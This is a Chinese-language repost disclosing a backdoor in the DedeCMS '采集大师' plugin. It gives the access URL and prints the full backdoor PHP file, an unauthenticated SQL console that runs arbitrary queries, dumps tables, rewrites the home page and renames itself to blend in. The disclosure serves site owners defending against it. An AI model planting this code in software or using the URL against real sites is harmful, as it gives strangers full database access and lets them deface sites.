|
|
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
輸入以上網址，即可打開后門界面。
說實話，會故意留后門的程序，最好的方法就是別用。這個后門被發現了，天知道下一個所謂的新版本還會不會冒出更多的后門來。此后門文件代碼如下：
復制代碼 代碼如下:
<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功！";
}else{
echo "失敗！";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "沒有指定表名！";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "<xmp>".trim($ctinfo)."</xmp>";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne('Select * From `#@__homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("http://","/",str_replace("http://","/",$homeFile));
$fp = fopen($homeFile,'w') or die("無法更新網站主頁到：$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "成功更新首頁！";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "<span style='font-size:10pt'>刪除'數據表'或'數據庫'的語句不允許在這里執行。</span>";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "運行SQL：{$sqlquery}，無返回記錄！";
}
else
{
echo "運行SQL：{$sqlquery}，共有".$dsql->GetTotalRow()."條記錄，最大返回100條！";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "記錄：$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}：</font>{$v}<br/>/r/n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("/r","",$sqlquery);
$sqls = split(";[ /t]{0,}/n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "執行： <font color='blue'>$q</font> 出錯，錯誤提示：<font color='red'>".$errCode."</font><br>";
}
}
echo "成功執行{$i}個SQL語句！<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功執行1個SQL語句！<br><br>";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '<html>
<head>
<meta http-equiv=/'Content-Type/' content=/'text/html; charset=gb2312/'>
<title>SQL命令行工具</title>
<link href=/'img/base.css/' rel=/'stylesheet/' type=/'text/css/'>
</head>
<body background=/'img/allbg.gif/' leftmargin=/'8/' topmargin=/'8/'>
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA">
<tr>
<td height="19" background="img/tbg.gif">
<table width="96%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td width="24%"><strong>SQL命令運行器：</strong></td>
<td width="76%" align="right"> <b><a href="sys_data.php"><u>數據備份</u></a></b>
| <b><a href="sys_data_revert.php"><strong><u>數據還原</u></strong></a></b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="200" bgcolor="#FFFFFF" valign="top">
<table width="100%" border="0" cellspacing="4" cellpadding="2">
<form action="" method="post" name="infoform" target="stafrm">
<input type=/'hidden/' name=/'dopost/' value=/'viewinfo/' />
<tr bgcolor="#F3FBEC">
<td width="15%" height="24" align="center">系統的表信息：</td>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="35%">
<select name="tablename" id="tablename" style="width:100%" size="6">
';
$dsql->SetQuery("Show Tables");
$dsql->Execute('t');
while($row = $dsql->GetArray('t',MYSQL_BOTH))
{
$dsql->SetQuery("Select count(*) From ".$row[0]);
$dsql->Execute('n');
$row2 = $dsql->GetArray('n',MYSQL_BOTH);
$dd = $row2[0];
echo " <option value='".$row[0]."'>".$row[0]."(".$dd.")</option>/r/n";
}
;echo ' </select>
</td>
<td width="2%"> </td>
<td width="63%" valign="bottom">
<div style="float:left;margin-right:20px;">
<input type="Submit" name="Submit1" value="優化選中表" class="coolbg np" onClick="this.form.dopost.value=/'opimize/';" />
<br />
<input type="Submit" name="Submit2" value="修復選中表" class="coolbg np" onClick="this.form.dopost.value=/'repair/';" style="margin-top:6px;" />
<br />
<input type="Submit" name="Submit3" value="查看表結構" class="coolbg np" onClick="this.form.dopost.value=/'viewinfo/';" style="margin-top:6px;" />
</div>
<div style="float:left">
<input type="Submit" name="Submit5" value="優化全部表" class="coolbg np" onClick="this.form.dopost.value=/'opimizeAll/';" />
<br />
<input type="Submit" name="Submit6" value="修復全部表" class="coolbg np" onClick="this.form.dopost.value=/'repairAll/';" style="margin-top:6px;" />
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
<td height="200" align="center">返回信息：</td>
<td>
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe>
</td>
</tr>
</form>
<form action="" method="post" name="form1" target="stafrm">
<input type=/'hidden/' name=/'dopost/' value=/'query/'>
<tr>
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>運行SQL命令行：
<input name="querytype" type="radio" class="np" value="0">
單行命令（支持簡單查詢）
<input name="querytype" type="radio" class="np" value="2" checked>
多行命令</strong></td>
</tr>
<tr>
<td height="118" colspan="2">
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" style="width:90%"></textarea>
</td>
</tr>
<tr>
<td height="53" align="center"> </td>
<td>
<input name="imageField" type="image" src="img/button_ok.gif" width="60" height="22" border="0" class=/'np/' />
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
</html>
';}
?>
php技術：DEDE采集大師官方留后門的刪除辦法，轉載需保留來源！
鄭重聲明：本文版權歸原作者所有，轉載文章僅為傳播更多信息之目的，如作者信息標記有誤，請第一時間聯系我們修改或刪除，多謝。
